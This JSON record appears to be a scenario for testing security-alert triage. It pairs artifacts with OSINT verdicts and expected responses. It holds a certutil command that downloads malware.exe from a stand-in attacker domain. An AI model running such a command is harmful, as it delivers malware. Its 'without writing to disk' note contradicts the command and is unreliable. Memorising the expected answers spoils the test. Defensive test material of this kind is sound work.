{"playbook_version":2,"artifacts":[{"id":"artifact_1","type":"ip","value":"172.16.0.2","is_critical":false,"osint_result":{"source":"Internal Analysis","verdict":"internal","details":"Internal IP address involved in suspicious activity"}},{"id":"artifact_2","type":"domain","value":"external.attacker.com","is_critical":true,"osint_result":{"source":"AbuseIPDB","verdict":"malicious","details":"Domain associated with known malware distribution"}},{"id":"artifact_3","type":"command","value":"certutil.exe -urlcache -split -f http://external.attacker.com/malware.exe C:\\Users\\user123\\malware.exe","is_critical":true,"osint_result":{"source":"Hybrid Analysis","verdict":"malicious","details":"CertUtil used for downloading and executing malware"}}],"expected_actions":["block_ip","isolate_host","collect_forensics"],"expected_verdict":"true_positive","expected_category":"malware","analysis_notes":"CertUtil is a known LOLBin used for downloading and executing malware without writing to disk."}